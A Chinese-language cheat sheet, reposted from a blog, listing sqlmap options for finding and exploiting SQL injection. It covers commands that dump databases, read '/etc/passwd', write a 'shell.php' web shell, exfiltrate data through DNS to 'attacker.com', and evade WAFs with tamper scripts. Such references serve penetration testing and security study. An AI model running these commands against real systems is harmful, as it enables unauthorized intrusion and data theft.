0


Sqlmap命令大全

Sqlmap

  • **开源的SQL注入漏洞检测的工具,能够检测动态页面中的get/post参数,cookie,http头,还能 够查看数据,文件系统访问,甚至能够操作系统命令执行。 **
  • **检测方式:布尔盲注、时间盲注、报错注入、UNION联合查询注入、堆叠注入 **
  • 支持数据库:Mysql、Oracle、PostgreSQL、MSSQL、Microsoft Access、IBM DB2、 SQLite、Firebird、Sybase、SAP MaxDb

1.基本参数

  1. sqlmap --update 更新

  2. sqlmap -h 查看常用参数

  3. sqlmap -hh 查看全部参数

  4. sqlmap --version 查看版本

  5. sqlmap -v 查看执行过程信息,默认是1,一共 0 ~ 6

  6. sqlmap -d "mysql://user:password@192.168.20.10:3386/dvwa" # mysql表示数据库类 型、user:password表示目标服务器的账号和密码,@后表示要连接的服务器,3306表示端口,dvwa表示连 接的数据库名称

  7. --wizard # 向导式

2.确定目标

  1. -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" # 指定URL,get请求方式

  2. -m url_list.txt # 使用一个包含多个url的文件进行扫描。若有重复,sqlmap会自动识别成一个。

  3. -g "inurl:".php?id=1"" # 扫描,使用Google语法得到的,url。

  4. -r request.txt # Post提交方式,使用HTTP请求文件,该文件可从BurpSuit中导出。 (BurpSuit抓包-->将请求复制到txt中即可)

  5. -l log.txt # Post提交方式,使用BurpSuit的log文件。(Options-->Misc-->Logging-- >Spider-->勾选Request) 5.1 --scope="(www)?.target.(com|net|arg)" # 基于正则表达式去过滤日志内容,筛选需要扫描的对象。

  6. -c sqlmap.conf # 使用配置文件进行扫描 (dpkg -L sqlmap | grep sqlmap.conf)

  7. -u "http://target_url/param1/value1*/param2/value2" # 对于这种写法,加*号扫描

3.配置目标参数

  1. -p "username,id" # 指定要扫描的参数

  2. --skip="id,user-agent" # 排除指定的扫描参数

  3. --data="user=1&pass=2" # 指定扫描的参数,get/post都适用

  4. --param-del=";" # 改变分隔符,默认是&,因为有些网站不实用&传递多个数据。

  5. --cookie="security=low;PHPSESSID=121123131" # 使用cookie的身份认证

  6. --drop-set-cookie # 有时候发起请求后,服务器端会重新Set-cookie给客户端,SQLmap默认会 使用新的cookie,这时候可以设置此参数,表示还是用原来的cookie。

  7. --user-agent="aaaaaaaaa" # 使用浏览器代理头

  8. --random-agent # 使用随机的浏览器代理头

  9. --host="aaaaa" # 使用主机头

  10. --referer="aaaaaa" # 使用referer头

  11. --headers="host:aaaa\nUser-Agent:bbbb" # 有些网站需要特定的头来身份验证

  12. --method=GET # 指定请求方式,还有POST

  13. --auth-type Basic --auth-cred "user:pass" # 身份认证,还有Digest、NTLM

  14. --auth-file="ca.PEM" # 使用私钥证书去进行身份认证,还有个参数--auth-cert,未知用法。

  15. --proxy="http://127.0.0.1:8087/" # 使用代理去扫描目标,代理软件占用的端口在8087

  16. --proxy-cred="name:pass" # 使用代理时的账号和密码

  17. --ignore-proxy # 忽略系统级代理设置,通常用于扫描本地网络目标,本网段。

4.配置目标行为

  1. --force-ssl # 使用HTTPS连接进行扫描

  2. --delay="3" # 每次http请求之间的延迟时间,默认无延迟

  3. --timeout="10" # 请求超时时间,浮点数,默认为30秒

  4. --retries="1" # http连接的重试次数,默认3次

  5. --randomize="id" # 长度、类型与原始值保持一致的情况下,随机参数的取值。比如id=100 -> id=1??

  6. --safe-url="" # 检测盲注阶段时,sqlmap会发送大量失败请求,可能导致服务器端销毁session

  7. --safe-freq # 每发送多少次注入请求后,发送一次正常请求,配合--safe-url使用。

  8. --time-sec="3" # 基于时间的注入检测相应延迟时间,默认5秒

  9. --union-cols 6-9# 默认联合查询1-10列,随--level增加,最多支持100列。

  10. --union-char 123 # 联合查询默认使用null,极端情况下可能失败,此时可以手动执行数值

  11. --technique US # 指定检测注入时所用技术,默认情况下Sqlmap会使用自己支持的全部技术进行检测,有B、E、U、S、T、Q

5.优化探测过程

  1. --level

    2:检测cookie中是否含有注入

    3:检测user-agent、referer是否含有注入

    5:检测host是否含有注入

  2. --risk 默认1,最高4,等级高容易造成数据被篡改风险

  3. --predict-output # 优化检测方法,不断比对大数据,缩小检测范围,提高效率,与--threads参数不兼容

  4. --keep-alive # 长连接、性能好,避免重复建立的网络开销,但大量长连接会占用服务器资源。与-- proxy参数不兼容

  5. --null-connection # 只获取页面大小的值,通常用于盲注判断真假,与--text-only 不兼容

  6. -o # 直接开启以上三个

  7. --threads=7 #提高并发线程,默认为1,建议不要超过10,否则影响站点可用性,与--predict-out 不兼容

  8. --string="woaini" # 页面比较,用于基于布尔注入的检测,因为有时候页面随时间阈值变化,此时需要人为指定标识真假的字符串

  9. --not-string="woaini"

  10. --regexp

  11. --code=200

  12. --text-only

  13. --titles="Welcome"

6.特定目标环境

  1. --skip-urlencode # 默认get传参会使用URL编码,但有些服务器没按规范,使用原始字符提交数据。

  2. --eval="import hashlib;hash=hashlib.md5(id).hexdigest()" # 在提交前,对参数进行 pyhton的处理,提升效率

  3. --dbms="Mysql" # 指定数据库类型,还可以加上版本 Mysql

  4. --os="Windows" # 指定操作系统,还可以是Linux

  5. --invalid-bignum # sqlmap默认使用负值让参数进行失效,该参数使用最大值让参数失效,比如 id=9999999

  6. --invalid-logical # 使用布尔值,比如 id 13 and 18=19

  7. --no-cast # 将sqlmap取出的数据转换为字符串,并用空格替换NULL结果,在老版本时需要开启此开关。

  8. --no-escape # 为了逃逸服务器端对sqlmap的检测,默认使用char()编码替换字符串。本参数将关 闭此功能。 比如

select 'foo' --> select cahr(102) + char(111) + char(111)

  1. --prefix "')'" # 添加前缀 【')

  2. --suffix "AND ('abc'='abc" # 添加后缀【AND ('abc'='abc

  3. --tamper="tamper/between.py,tamper/randomcase.py" # 使用脚本,绕过IPS、WAF等

  4. --dns-domain attacker.com # 攻击者控制了DNS服务器,可以提高取出数据的效率

  5. --second-order http://1.1.1.1/b.php # 在一个页面注入的结果,从另外一个页面提现出来

7.查看基本信息

  1. -f # 扫描时加入数据库指纹检测

  2. -b # 查看数据库的版本信息

8.查看基本信息

  1. --users # 查询所有的数据库账号

  2. --dbs # 查询所有数据库

  3. --schema # 查询源数据库(包含定义数据的数据)

  4. -a # 查询当前user、当前数据库、主机名、当前user是否是最大权限管理员、数据库账号等

  5. -D dvwa# 指定数据库

  6. --current-user # 查询当前数据库用户

  7. --current-db # 查询当前数据库

  8. --hostname # 查看服务器的主机名

  9. --Privileges -U username # 查询username的权限

  10. --roles 角色

  11. --tables # 查看所有的表

  12. -T # 指定表

  13. --columns # 查看所有的字段

  14. -C # 指定字段

  15. --count # 计数,查看有多少条数据

  16. --exclude-sysdbs # 排除系统库

  17. --dump # 查看数据

  18. --start 3 # 查看第三条

  19. --end 4 # 查看第四条

  20. --sql-query "select * from users" # 执行语句

  21. --common-columns # 暴力破解字段,应用于两种情况:①无权限读取数据。②mysql<5.0 ,没有 infomation_schema库 22. --common-tables # 暴力破解表

  22. --common-tables # 暴力破解表

9.其他参数

  1. --batch # 自动选是

  2. -s:sqllite会话文件保存位置

  3. -t:记录流量文件保存位置

  4. --charset=GBK:强制字符编码

  5. --crawl=3 :爬站深度

  6. --csv-del=";" #指定csv文件的分隔符

  7. --dbms-cred # 指定数据库账号

  8. --flush-session # 清空session

  9. --force-ssl # 强制使用HTTPS

  10. --fresh-queries # 重新检测,不使用本地已查询的数据

  11. --hex # 以16进制的形式编码dump出来的数据

  12. --output-dir # 输出目录

  13. --parse-errors # 分析和显示数据库内建报错信息

  14. --save :将命令保存成配置文件

  15. -z 参数助记符

  16. --answer="extending=N" # 回答

  17. --check-waf # 检测WAF/IPS/IDS

  18. --hpp # 绕过WAF/IPS/IDS

  19. --identify-waf # 彻底检测WAF/IPS/IDS

  20. --mobile # 模拟智能手机设备

  21. --purge-output # 清除output文件夹

  22. --smart # 当有大量检测目标时,只选择基于错误的检测结果

10.高级注入参数

  1. --udf-inject,--shared-lib # 编译共享库创建并且上传至DB Server,依次生成UDF实现高级注入

  2. --file-read="/etc/passwd" # 文件系统访问

  3. --file-write="shell.php" --file-dest "/tmp/shell.php" # 写文件到目标位置

  4. --sql-shell # 进入交互式mysql窗口

  5. 操作系统访问

  6. 注册表访问

  7. sqlmap.py -u http://navisec.it/123.asp?id=1 --tor -tor-type=SOCKS5 --torport=9050 --check-to


本文转载自: https://blog.csdn.net/phpppppppppp/article/details/124968358
版权归原作者 风过留不留声 所有, 如有侵权,请联系我们删除。

“Sqlmap命令大全”的评论:

还没有评论